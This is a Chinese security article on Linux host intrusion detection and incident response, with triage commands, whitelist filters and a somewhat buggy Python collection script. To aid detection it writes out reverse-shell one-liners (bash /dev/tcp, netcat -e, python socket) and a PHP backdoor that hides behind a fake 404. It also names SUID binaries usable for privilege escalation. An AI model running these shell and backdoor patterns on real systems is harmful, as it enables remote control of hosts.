企業安全建設之HIDS(二):入侵檢測&應急響應

2021-03-02 FreeBuf
0x01:前言

WEB層的入侵檢測一般會根據agent頭信息、POST包請求信息基於攻擊特徵結合多邏輯語句以及響應體檢測,HIDS基於主機層面去檢測,關於HIDS入侵檢測的內容比較多,這裡根據自己的經驗總結通用的應急流程,應急響應是個體力活,但是很有意思,攻防對抗中,誰更了解這個系統,誰就擁有主動權。本小白記憶力不好,特此記錄,也方便後期自己應急和升華。

前序文章:企業安全建設之HIDS

那基於主機層的應急響應和入侵檢測還是又很多相同的地方的,那區別點又在哪?

一.Linux應急響應或入侵檢測的檢查項目獲取了什麼信息?目的又是什麼?

1.快照信息:HIDS可以獲取伺服器的當前運行情況的信息,基礎信息,日誌信息,便於安全監控和後期取證或深入分析;

2.異常檢查:初篩作用,初步做些排查和異常檢查,若發現異常,人工入侵分析;

3.入侵檢測:如 rkmod 等後門特徵檢查,包括歷史曾經發現過的後門檢查;

二. 入侵檢測和Linux應急檢查為對應關係,二者關注什麼地方和區別是什麼?

1.應急響應人工肉眼看,適用於經驗分析;

2.入侵檢測使用分析腳本以及大數據自動化處理和判斷,適用於全面分析和大規模的數據分析;

3.入侵檢測一般回存儲到 ES 的 索引中,使用 常見的安全架構SOC分析工具來處理,也作為學習數據。

0x02:排查流程一:基礎信息

(1)系統版本、主機名、內核版本收集分析項:最基本的提權方式,查看內核版本,搜索對應的exp進行提權

uname -a

(2)系統運行時間

分析方法:系統當前已經運行時間、時區等信息,在海量的日誌裡,在排除一些正常業務的日誌後,以時間/IP為準線是一個比較不錯的主線。

uptime
timedatectl

(3)網卡配置

分析方法:判斷網卡是否為混雜模式來確定機器是否在嗅探流量。

ip link show | grep PROMISC

(4)路由信息

分析方法:查找通過同一個路由表進出。

route -n

(5)arp信息

分析方法:

1.伺服器上arp 記錄應該是只有實際建立過連接的 IP 才有 arp,可以聚類檢查是否有超同組業務以外的 arp 地址。

2.mc地址對應的 ip 應該是固定的,可以檢查是否有 mac和 IP 不一致的,如有就是有 arp 欺騙

arp -a -n

(6)登錄用戶

分析項:有無爆破以及爆破痕跡,有無異常登錄痕跡

分析方法:

/etc/passwd

1.除root以為UID為0的帳號(UID為0的帳號也不一定都是可疑帳號,Freebsd默認存在toor帳號,且uid為0.(toor 在BSD官網解釋為root替代帳號,屬於可信帳號))

2.非系統管理員添加的具有shell權限的帳號

awk -F: '($3 == "0"&& $1!="root") {print}' /etc/passwd (查詢uid為0的帳號)

awk -F: '($4 == "0"&& $1!="root" && $1!="sync" &&$1!="shutdown" && $1!="halt" &&$1!="operator") {print}' /etc/passwd (查詢gid為0的帳號)

(7)具有 shell 環境的用戶——異常用戶

分析方法:

1.查看當前環境中具有shell權限的用戶,分析找出可疑用戶。

2.聚合統計,發現未知的異常用戶。

awk -F: '{if($7!~"nologin"&& $7!~"shutdown" && $7!~"halt"&&$7!~"false" && $7!~"sync") print}'/etc/passwd

(8)sudo授權信息——異常用戶權限

分析方法:

1.排除法,過濾掉正常用戶的sudo權限,找出那些無需密碼就可以執行root命令的用戶。

2.在同類數據中聚合這些異常權限用戶,統計可控的伺服器範圍

cat /etc/sudoers | grep -Ev"^$|#"

(9)登錄信息

分析項:

(a)last(數據源為/var/log/wtmp,wtmp文件中保存的是登錄過本系統的用戶的信息),統計系統所有用戶的登錄時間和信息,包括系統曾經進行過重啟操作的重啟時間信息,獲取用戶成功登陸的時間點和在線時長

1.用排除法,去掉正常登錄 IP,找出異常登錄 IP。

2.分析同一類業務的登錄 IP,看是否有超範圍的登錄。

3.單個主機上等於用戶統計分析,查看數據少的用戶是否為異常用戶

4.同一類數據登錄用戶進行聚合統計排序,查看數據少的用戶是否為異常用戶

5.last登錄用戶和ip是否是不常用用戶和ip,以及ip是否屬於公網ip

(b)lastlog 系統中所有用戶最近一次登錄信息(源為/var/log/utmp文件)

1.排查一般不可登錄的用戶是否曾經登陸過,以及登錄方式和登錄IP。

2.同類業務登錄用戶聚合排序(登錄用戶IP聚合排序),來排查惡意用戶控制的主機數量

(c) lastb(數據源為/var/log/btmp) 用於顯示用戶錯誤的登錄列表;

1.用排除法,去掉正常登錄錯誤 IP,找出異常登錄錯誤IP。

2.分析同一類業務的登錄錯誤 IP,看是否有超範圍的登錄。

3.同一類數據登錄用戶進行聚合統計排序,查看登錄錯誤過多IP是否存在登錄成功情況。

Ps:/var/log/wtmp 文件結構和/var/run/utmp 文件結構一樣,都是引用/usr/include/bits/utmp.h中的struct utmp;

(10)系統敏感文件/目錄

分析方法:

毋庸置疑,無論是weshell,還是後門總會對系統文件做修改的,分析有無可疑文件、系統新增文件

1.查找24小時內被修改的php文件——find ./ -mtime 0-name」*.php」`

2.查找72小時內新增的文件——find / -ctime 2

3.查找777的權限的文件——find / *.jsp -perm4777

4.查找以.開頭的隱藏文件——ls -ar |grep」^.」

TMP敏感目錄

最近剛爆發的WatchDogsMiner挖礦蠕蟲表現為/tmp臨時目錄存在watchdogs文件,出現了crontab任務異常、網絡異常、系統文件被刪除、CPU異常卡頓等情況

(11)異常訪問目標

分析方法:分析root用戶登錄時源IP位址,這裡的是主動SSH 外聯 IP。

1.獲取 /root/.ssh/known_hosts文件得到root用 戶登錄時源IP位址

2.通過白名單過濾,判斷是否有異常ssh 登錄;

3.通過同類型業務聚類,判斷是否有超範圍訪問。

awk '{print$1}' /root/.ssh/known_hosts

其他用戶登錄時源IP位址

分析方法:

這裡的是主動SSH 外聯 IP。

1.通過遍歷 /home/目錄下的用戶目錄,獲取 /home/*/.ssh/known_hosts文件得到該用戶登錄時源IP位址

2.通過白名單過濾,判斷是否有異常ssh 登錄;

3.通過同類型業務聚類,判斷是否有超範圍訪問。

for file in /home/*
do
if [ -d $file]
then
echo -e"$file" >> $ SSHKNOWN_HOSTS
awk '{print $1}'/$file/.ssh/known_hosts>>$ SSHKNOWN_HOSTS
fidone

(12)異常公鑰用戶

分析方法:分析異常root用戶公鑰登錄時公鑰信息

1.獲取 /root/.ssh/authorized_keys文件得到root用戶公鑰登錄時公鑰信息

2.根據白名單過濾root下公鑰用戶,查找異常的用戶。

3.在同類數據中聚合統計,找到超過範圍的異常公鑰用戶。

awk '{print $1,$3}' /root/.ssh/authorized_keys

其他用戶公鑰登錄時公鑰信息

分析方法:

1.通過遍歷 /home/目錄下的用戶目錄,獲取 /home/*/.ssh/authorized_keys文件得到該用戶公鑰登錄時公鑰信息

2.根據白名單過濾公鑰用戶,查找異常的用戶。

3.找出超過範圍的異常公鑰用戶。

for file in /home/*
do
if [ -d $file ]
then
echo -e"$file" >> $ SSHKNOWN_KEYS
awk'{print $1,$3}' /$file/.ssh/authorized_keys >> $ SSHKNOWN_KEYS
fi
done

(13)防火牆配置信息

分析方法:

排查對已受訪問控制的服務和系統是否有不規範的防火牆信息

iptables -L-nv

(14)系統中rpm包校驗

分析方法:

-V校驗rpm包中的文件有無修改,沒有提示即沒有修改,主要驗證8個信息

rpm -aV

二:異常檢測

(1)開機啟動項

/etc/init.d是 /etc/rc.d/init.d 的軟連結,測試新裝的linux系統必須開啟的服務,其他根據自己的工作業務需求

ssd、rsyslog、network、crond

(2)/etc/rc.local 腳本內容——異常自動執行腳本

分析方法:

1.基於白名單過濾,查找異常的執行命令

2.基於已知的特徵做數量統計或異常行為分析。

cat /etc/rc.local | grep -Ev"^#$|^#"

配置文件會在用戶登陸之前讀取,這個文件中寫入了什麼命令,在每次系統啟動時都會執行一次,默認內容為touch /var/lock/subsys/local

(3)計劃任務

分析方法:

1.通過關鍵字發現root的惡意計劃任務,如(反彈命令)

2.白名單過濾找到異常的計劃任務

crontab -l 或者 crontab-c /var/spool/cron/ -l

ps:/etc/crontab為系統執行計劃,/var/spool/cron/為以帳號來區分每個用戶的執行任務

(4)/etc/cron.d 計劃任務內容——etc下異常計劃任務

分析方法:

1.白名單過濾找到異常的計劃任務

2.關注挖礦等計劃任務

find /etc/cron.d/ |xargs grep -Ev "^#"

(5)用戶定義的自啟動項

分析方法:

1.白名單過濾發現異常啟動項。

2.統計分析,查找未知的異常自啟服務

chkconfig --list

(6)系統自啟動項

分析方法:

1.白名單過濾發現異常啟動項。

systemctl list-unit-files | grep enabled

系統啟動項參考接

(7)系統內核模塊運行時的文件信息

分析方法:

1.根據文件夾時間戳,再白名單過濾找到未知的惡意內核模塊

2.根據安全報告/威脅情況分析有無惡意的內核模塊

默認系統內核模塊文件信息

ls -alt /sys/module

模塊 | 模塊 | 模塊 | 模塊 |
| 8250 | gf128mul | mousedev | snd |
| ablk_helper | ghash_clmulni_intel mptbase | snd_ac97_codec |
| ac97_bus | glue_helper | mptscsih | snd_ens1371 |
| acpi | hid | mptspi | snd_pcm |
| acpiphp | hid_apple | netpoll | snd_rawmidi |
| aesni_intel | hid_magicmouse | nf_conntrack | snd_seq |
| ata_generic | hid_ntrig | nf_conntrack_ipv4 snd_seq_device |
| ata_piix | i2c_piix4 | nf_conntrack_ipv6 snd_seq_midi |
| battery | i8042 | nf_defrag_ipv4 | snd_seq_midi_event |
| binfmt_misc | intel_idle | nf_defrag_ipv6 | snd_timer |
| block | intel_ishtp | nfit | soundcore |
| bridge | iosf_mbi | nf_nat | spurious |
| cdrom | ip6table_filter | nf_nat_ipv4 | sr_mod |
| configfs | ip6table_mangle | nf_nat_ipv6 | stp |
| cpuidle | ip6table_nat | nfnetlink | suspend |
| crc32c_intel | ip6table_raw | nf_reject_ipv4 | syscopyarea |
| crc32_pclmul | ip6_tables | nf_reject_ipv6 | sysfillrect |
| crc_t10dif | ip6table_security parport | sysimgblt |
| crct10dif_common | ip6t_REJECT | parport_pc | sysrq |
| crct10dif_generic | ip6t_rpfilter | pata_acpi | tcp_cubic |
| crct10dif_pclmul | ip_set | pcie_aspm | thermal |
| cryptd | iptable_filter | pciehp | tpm |
| debug_core | iptable_mangle | pci_hotplug | tpm_tis |
| dm_log | iptable_nat | pci_slot | tpm_tis_core |
| dm_mirror | iptable_raw | pcmcia_core | ttm |
| dm_mod | ip_tables | pcspkr | uhci_hcd |
| dm_region_hash | iptable_security | ppdev | usbcore |
| drm | ipt_REJECT | printk | usbhid |
| drm_kms_helper | ipv6 | processor | uv_nmi |
| drm_panel_orientation_quirks joydev | psmouse | vmd |
| dynamic_debug | kdb_main | pstore | vmw_balloon |
| e1000 | kernel | rcupdate | vmwgfx |
| ebtable_broute | keyboard | rcutree | vmw_vmci |
| ebtable_filter | kgdboc | rng_core | vt |
| ebtable_nat | kgdbts | scsi_dh_alua | watchdog |
| ebtables | libata | scsi_dh_rdac | workqueue |
| edac_core | libcrc32c | scsi_mod | xfs |
| efi_pstore | libnvdimm | scsi_transport_spi xhci_hcd |
| efivars | llc | sd_mod | xt_conntrack |
| ehci_hcd | lrw | serio_raw | xz_dec |
| fb_sys_fops | md_mod | sg | zswap |
| firmware_class | module | shpchp |

(8)內核模塊

分析方法:

1.白名單過濾,查找異常的內核模塊。

2.相同類型統計分析,發現被植入的未知的內核模塊

3.不斷的根據業務擴充白名單

排查系統常見白名單

lsmod |./busybox grep -Ev"Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_nat|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"

(9)運行進程

分析方法:

1.根據白名單過濾發現父進程為1的異常進程。

2.根據cpu使用率發現挖礦進程。

3.根據進程運行時間來發現異常進程。

4.查找無父進程的孤立進程

5.通過對比兩種方式獲取的進程數是否相等來判斷是否有正在運行的進程被隱藏

6.通過rootkit分析工具,如chkproc,chkrootkit,rootkit hunter

ps auxfww

案例:隱藏進程參考連結

(a)強行將進程 pid 變為 0,這種方法存在破綻因此不予考慮。

(b)系統啟動時會依據 /etc/fstab 文件內容來掛載分區,在 proc 分區掛載參數中加入 hidepid=2 參數後,登陸系統的用戶只能查看到當前用戶啟動的進程的信息。也就是說, tomcat 用戶只能看到屬於 tomcat 用戶進程的信息。

(c)ps命令和top命令從/proc文件系統中讀取進程信息並顯示出來。因此,如果一個進程的進程號沒有在/proc文件系統中反映出來,則這個進程被「隱藏」了,「隱藏」進程在ps或top命令的輸出不出現

(10)網絡連接信息

分析方法:

1.發現異常監聽埠進程,異常的連接通信。

2.與後面的lsof輸出結果做對比來發現異常埠和連接(命令替換或者rootkit過濾不完全)。

3.同類數據中聚合統計,如:pname,dst_ip,dst_port,src_port發現其惡意控制範圍

netstat -antup

(11)netstat輸出sockets信息

分析方法:

1.通過白名單過濾來發現具有socket連接的進程信息

netstat -plantux

(12)lsof獲取網絡連接信息

分析方法:

1.與上面netstat獲取的數據進行對比分析發現異常埠和連接

lsof -nPi | grep -v"127.0.0.1" |grep -v "::1"

ps:

1.netstat無權限控制,lsof有權限控制,只能看到本用戶

2.losf能看到pid和用戶,可以找到哪個進程佔用了這個埠

(13)進程文件

分析方法:

1.通過白名單過濾來發現異常進程。

2.發現已處於deleted狀態的異常進程

find /proc -path '/proc/sys/fs'-prune -o -print |xargs ls -al | grep'exe ->' | sort -u >tmp.txt

(14)進程文件MD5計算

分析方法:

1.根據版本,和已知MD5值作對比判斷文件是否被替換。

2.Md5可以diff原始文件或者通過 VT跑一跑,分析有沒有已知惡意程序

find /proc -path '/proc/sys/fs'-prune -o -print |xargs ls -al | grep "exe ->" |awk '{print$11}'|sort -u >> tmp.txt

for file in $( cat tmp.txt)

do

f=$( ls -tl $file|awk '{print$5}')

if [ $f -le 50000000 ]; then

md5sum $file >> exe.hash

fi

done

diff exe.hash exe1.hash

(15)具有SUID的可執行文件

分析方法:通過白名單顧慮發現可疑的就有suid權限的文件

已知可以用來提權的linux可執行文件有:

Nmap、vim、find、bash、more、less、nano、cp

默認具有SUID的可執行文件如下:

find / -user root -perm -4000 -print2>/dev/null

(16)進程中被刪除的文件

分析方法:

1.通過已刪除的文件名判斷是否為惡意的進程或者是被注入的惡意文件。

lsof | grep DEL

(17)rootkit檢測(難點)

分析方法:通過判斷 /sys/module/rkmod 文件夾是否存在來判斷是否感染已知的rkmod

if [ -d "/sys/module/rkmod" ];then

echo -e "/sys/module/rkmod rootkit kernel mod exist\n">> $rootkit_file

stat /sys/module/rkmod >> $ $rootkit_file

fi

三:日誌異常檢測

日誌對於安全來說,非常重要,他記錄了系統每天發生的各種各樣的事情,你可以通過它來檢查錯誤發生的原因,或者受到攻擊時攻擊者留下的痕跡。日誌主要的功能有:審計和監測。他還可以實時的監測系統狀態,監測和追蹤侵入者等等。

在linux系統中,有三個主要的日誌子系統:

連接時間日誌—由多個程序執行,把紀錄寫入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和 utmp文件,為了能夠跟蹤誰在何時登錄到系統;

進程統計—由系統內核執行,當一個進程終止時,為每個進程往進程統計文件(pacct或acct)中寫一個紀錄,進程統計為系統中的基本服務提供命令使用統計;

錯誤日誌—由syslogd執行,用戶程序和內核通過syslog向文件/var/log/messages報告值得注意的事件

對日誌的理解:

1.我能從何處得到等多的信息;

2.怎樣才能確定以上日誌所描述內容的真實性

3.日誌顯示的內容會有什麼影響

4.接下來會發什麼,後面應該再關注那些其他事件的發生

5.我應該怎麼做,該有怎樣的緊急防禦措施和應對方案

日誌關注的內容:

1.系統狀態信息——可能影響系統的故障

2.攻擊的嘗試何刺探——成功的攻擊

3.系統接近某些參數的高值——系統容量將要用盡或者達到某個最高值造成的原因

4.系統變更——可能導致安全和可用性問題的系統變更

5.成功的登錄——失敗的登錄

6.例行和自動化配置變更——安全相關配置變更

7.連接建立/終止——檢測未授權連接

8.系統啟動/關閉——系統奔潰

9.硬體狀態信息——硬體的失效

(1)web日誌

分析項:

1.對不存在的文件過度訪問

2.看上去是url的一部分的代碼(sql,html)

3.訪問接受用戶輸入的危險頁面

4.一般情況下排除用戶認證失敗(錯誤代碼:401,403)、無效的請求(錯誤代碼:400)、內部伺服器錯誤(錯誤代碼:500)

5.統計學,如統計訪問量較多的IP、訪問業務較少的動態的疑似webshell的頁面

……

當然也不同一概而論,如果排查400的錯誤頁面,如訪問shell.php,會得到日誌

<?php

phpinfo();

?>

稍微改變下後門,添加header一句代碼之後就會是

<?php

header('HTTP/1.1 404');

ob_start();

phpinfo();

ob_end_clean();

?>

(2)Audit日誌

Linux審計系統提供了一種跟蹤系統上與安全相關的信息的方法。基於預先配置的規則,審核生成日誌條目以記錄儘可能多的關於系統上發生的事件信息。使用auditd可以實現如下場景的審計監控:

1.監控文件訪問

2.監控系統調用

3.記錄用戶命令執行

4.記錄安全事件

5.執行審計搜索

6.統計概要報表

7.監控網絡訪問

a).錯誤登錄日誌

分析方法:

1.根據錯誤登錄頻次發現異常登錄用戶、登錄IP。

2.與passwd_login_users標籤數據作對比,發現異常用戶。

3.判斷是否有超正常範圍的 IP 登錄記錄。

4.同類數據聚合統計acct用戶,數量極少的用戶需要人工排查

grep -i "fail"/var/log/audit/audit.log*

b).sudo操作日誌

分析方法:

1.排除法,過濾掉正常用戶的sudo權限

2.在同類數據中聚合這些異常權限用戶,統計可控的伺服器範圍

grep -i "sudo"/var/log/audit/audit.log*

c).信息統計

分析方法:獲取系統近一個月的統計信息,如:用戶數量,錯誤登錄用戶數,執行命令數,事件數等

Aureport

d):其他分析

分析方法:

1.根據業務排除系統正常的操作日誌

2.分析有無類似無bash環境的用戶的操作記錄,如apache用戶的操作等

(3)bash_history

分析方法:

1.有無反彈shell

2.有無敏感的操作記錄,如刪除日誌、埠轉發等內網滲透操作

bash -i >& /dev/tcp/ip/port 0>&1

python -c "import os,socket,subprocess *

nc -e /bin/bash *

(4)登錄日誌

1.獲取 /var/log/ 目錄下 audit、btmp、wtmp、secure、cron、lastlog日誌

2.異常常登錄、異常用戶、異常計劃任務;

3.用排除法,去掉正常登錄 IP,找出異常登錄 IP;

4.通過白名單過濾,判斷是否有異常ssh 登錄;

5.統計確認是否有異常計劃任務;

6.排除系統正常業務簡化內容

7.通過人工確認

last

這個命令可用於查看我們系統的成功登錄、關機、重啟等情況,本質就是將/var/log/wtmp文件格式化輸出,因此如果該文件被刪除,則無法輸出結果。

相關命令:

last -10(-n) 查看最近10條記錄
last -x reboot 查看重啟的記錄
last -x shutdown 查看關機的記錄
last -d 查看登陸的記錄
last –help 命令幫助信息

lastb

這個命令用於查看登錄失敗的情況,本質就是將/var/log/btmp文件格式化輸出。

相關命令:

lastb name(root) 查看root用戶登陸失敗記錄
lastb -10(-n) 查看最近10條登陸失敗記錄
lastb –heplp 命令幫助信息

lastlog

這個命令用於查看用戶上一次的登錄情況,本質就是將/var/log/lastlog文件格式化輸出。相關命令:

lastlog 所有用戶上一次登陸記錄
lastlog -u username(root) root用戶上一次登陸記錄
lastlog –help 命令幫助信息

who

這個命令用戶查看當前登錄系統的情況,本質就是將/var/log/utmp文件格式化輸出。主要用來查看當前用戶名稱,以及登陸的ip地址信息,w命令與who一樣,會更詳細一些。

(5)系統日誌

如常見的secure、cron日誌,結合業務進行分析

1.linux命令組合拳的使用

grep -ev 'ssh|telnet' /var/log/messages 查看除了包含ssh和telnet之外的所有日誌
gerp -f patterns /var/log/messages 查看匹配文件「patterns」中模式所有的消息
cat messages |awk 「{print $4}」|sort -u 查看文件記錄了那些設備

關鍵的信息點

關注點關鍵詞成功登陸的用戶「Accepted password」、「Accepted publickey」、「session opened」失敗的用戶登錄「authentication failure」、「new user」、「deleteuser」用戶註銷「session closed」用戶帳戶更改或者刪除「password changed」、「new user」、「deleteuser」sudo操作「sudo:…COMMAND=…」,」failed su」服務故障「failed」、」failure」0x03:半自動化

以下內容可能會辣眼睛,觀看時請不要喝水,linux實現常用shell,安全的小夥伴們一般都比較不一樣的風格,用python實現簡單的功能吧~

system()數打開一個子shell來執行系統命令,其返回值只會返回一個狀態碼,popen()會打開一個管道,返回結果是一個連接管道的文件對象,可以從該文件對象中讀取返回結果

#!/usr/bin/python3
# -*- coding:utf-8 -*-#
import os
import re
def info():
print("基礎版本信息")
print("-")
version=os.system("uname a")
print("logging users")
print("--")
logging_users=os.system("w")
print("系統運行時間")
print("--")
os_time=os.system("uptime")
#網卡信息
network=os.system('ip link show | grep PROMISC')
#路由信息
route=os.system("route -n")
#arp信息
arp=os.system("arp -a -n")
#顯示當前時間
time=os.system("timedatectl")
#掛載信息
mount=os.system("mount")
#目前登錄信息
logging_user=os.system("w")
#用戶目前和過去的登錄信息,對應/var/log/wtmp文件,last -f /var/log/wtmp
loggied_user=os.system("last")
#本地系統用戶最後一次登錄的信息,對應/var/log/utmp文件
logging_user_info=os.system("lastlog")
#用戶錯誤登錄的登錄列表,對應/var/log/btmp文件
logging_user_info=os.system("lastb")
#這裡可以做的事情:監控paasswd是否新增帳號;lastlog中系統用戶從未登錄過的用戶是否登錄;last登錄用戶和ip是否是不常用用戶和ip,以及ip是否屬於公網ip,lastb登錄錯誤的ip和用戶是否在last登錄成功的列表中

#具有shell登錄環境的用戶cat /etc/rc.local
#not_nologin_users=os.system("awk -F: '{if($7!~"nologin" && $7!~"shutdown" && $7!~"halt" && $7!~"false" && $7!~"sync") print}' /etc/passwd")
#sudo授權信息
sudo = os.system("cat /etc/sudoers | grep -Ev '^$|#'")
#root用戶登錄時的源ip地址
root_sshknow_hosts=os.system("awk '{print $1}' /root/.ssh/known_hosts")
#其他用戶登錄時源ip地址
#for file in os.system("ls /home"):system的結果為0,1等結果數值,無法取值進行循環
os.system("ls /home > 1.txt")
f = open("1.txt", "r")
for file in f.readlines():
file = file.strip()
path = "/home/" + file + "/.ssh/known_hosts"
# print(path)
a = os.path.exists(path)
# print(a)
try:
if a == True:
os.system("awk '{print $1}' %s" % path)
except FileNotFoundError:
pass
f.close()

#/etc/rc.local 腳本內容,默認內容為:touch /var/lock/subsys/local
auto_rclocal=os.system(' | grep -Ev "^#$|^#"')
#crontab任務計劃,crontab -l 或者 crontab -c /var/spool/cron/ -l,/etc/crontab為系統執行計劃,/var/spool/cron/為以帳號來區分每個用戶的執行任務
crontab=os.system('crontab -l')
#cron.d 為系統級任務計劃,crontab -l無法顯示
crond=os.system(' find /etc/cron.d/ |xargs ./busybox grep -Ev "^#"')
#用戶自定義啟動項
services=os.system('chkconfig --list')
system_servers=os.system('systemctl list-unit-files | grep enabled | grep -Ev "ups.path|abrt-ccpp.service|abrt-oops.service|abrt-vmcore.service|abrt-xorg.service|abrtd.service|accounts-daemon.service|atd.service|auditd.service|avahi-daemon.service|bluetooth.service|chronyd.service|crond.service|cups.service|dbus-org.bluez.service|dbus-org.fedoraproject.FirewallD1.service|dbus-org.freedesktop.Avahi.service|dbus-org.freedesktop.ModemManager1.service|dbus-org.freedesktop.NetworkManager.service|dbus-org.freedesktop.nm-dispatcher.service|display-manager.service|dmraid-activation.service|firewalld.service|gdm.service|getty@.service|gitlab-runsvdir.service|irqbalance.service|iscsi.service|ksm.service|ksmtuned.service|libstoragemgmt.service|libvirtd.service|lvm2-monitor.service|mdmonitor.service|microcode.service|ModemManager.service|multipathd.service|netcf-transaction.service|NetworkManager-dispatcher.service|NetworkManager-wait-online.service|NetworkManager.service|postfix.service|rngd.service|rsyslog.service|rtkit-daemon.service|smartd.service|spice-vdagentd.service|sshd.service|sysstat.service|systemd-readahead-collect.service|systemd-readahead-drop.service|systemd-readahead-replay.service|tuned.service|vmtoolsd.service|avahi-daemon.socket|cups.socket|dm-event.socket|iscsid.socket|iscsiuio.socket|lvm2-lvmetad.socket|lvm2-lvmpolld.socket|rpcbind.socket|default.target|graphical.target|nfs-client.target|remote-fs.target"')
#內核模塊運行時的文件信息
kernel_file=os.system("ls -alt /sys/module")
#內核模塊
lsmod=os.system('lsmod | grep -Ev "Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_na|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"')
#進程信息
pstreew=os.system('ps auxfw')
#網絡連接信息
network_listen=os.system('netstat -antup')
#lsof網絡連接信息,1.netstat無權限控制,lsof有權限控制,只能看到本用戶2.losf能看到pid和用戶,可以找到哪個進程佔用了這個埠
lsof_listen=os.system('lsof -nPi | grep -v "127.0.0.1" |grep -v "::1" |sort -u')
#網絡輸出sockets信息
network_connecttion=os.system("netstat -plantux")
#防火牆信息
iptables=os.system("iptables -L -nv")
#進程文件路徑https://blog.csdn.net/xuelin1036/article/details/41794487,https://www.cnblogs.com/aofo/p/6151266.html
#sys/fs用於描述系統中的所有文件系統
#排除/proc/sys/fs搜索所有exe表示具體的執行路徑
proc_exe=os.system("find /proc -path '/proc/sys/fs' -prune -o -print |xargs ls -al | grep 'exe ->' | sort -u")
#rpm包信息
rpm=os.system("rpm -aV")
#sshx相關rpm檢測
ssh_rpm=os.system("rpm -qa|grep ssh|xargs rpm -qV")

#日誌獲取
#history命令歷史記錄
history=os.system("history")
#其他用戶歷史記錄,無需判斷該用戶是否有shell,如apche用戶無history文件,若該用戶執行了命令,可從audit日誌中發現
os.system("ls /home > 1.txt")
f1 = open("1.txt", "r")
for file in f.readlines():
file = file.strip()
path = "/home/" + file + "/.bash_history"
a = os.path.exists(path)
try:
if a == True:
os.system("cat %s" % path)
except FileNotFoundError:
pass
f1.close()

#var相關log日誌獲取,audit日誌,btmp日誌,wtmp日誌,secure日誌,corn日誌,lastlog日誌
os.system("tar -zcf var_log.tar.gz /var/log/audit \/var/log/btmp* /var/log/wtmp* /var/log/secure* /var/log/cron* \/var/log/lastlog")

if __name__ == "__main__":
info()

文中根據自己的經驗和學習總結,能力有限,歡迎大佬補充,若有錯誤,還望大佬指正。

*本文原創作者:罹♛殤,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

相關焦點

  • 從防禦到應急響應 XDR如何應對數字威脅_網絡安全安全產品及解決...
    應該說,XDR體系解決了持續演化的高級威脅和安全運營能力不匹配的矛盾。  1.持續演化的高級威脅  無論是以APT(高級持續性威脅)為代表的定向攻擊,還是以勒索、挖礦、釣魚、廣告詐騙為代表的大規模攻擊,攻擊者不斷嘗試使用新型攻擊技術,企圖繞過傳統檢測機制對目標發起攻擊以達到某種目的,這種威脅我們統稱之為「高級威脅」。
  • 360安全大腦賦能安全運營與應急響應:海量數據下的實戰方法論
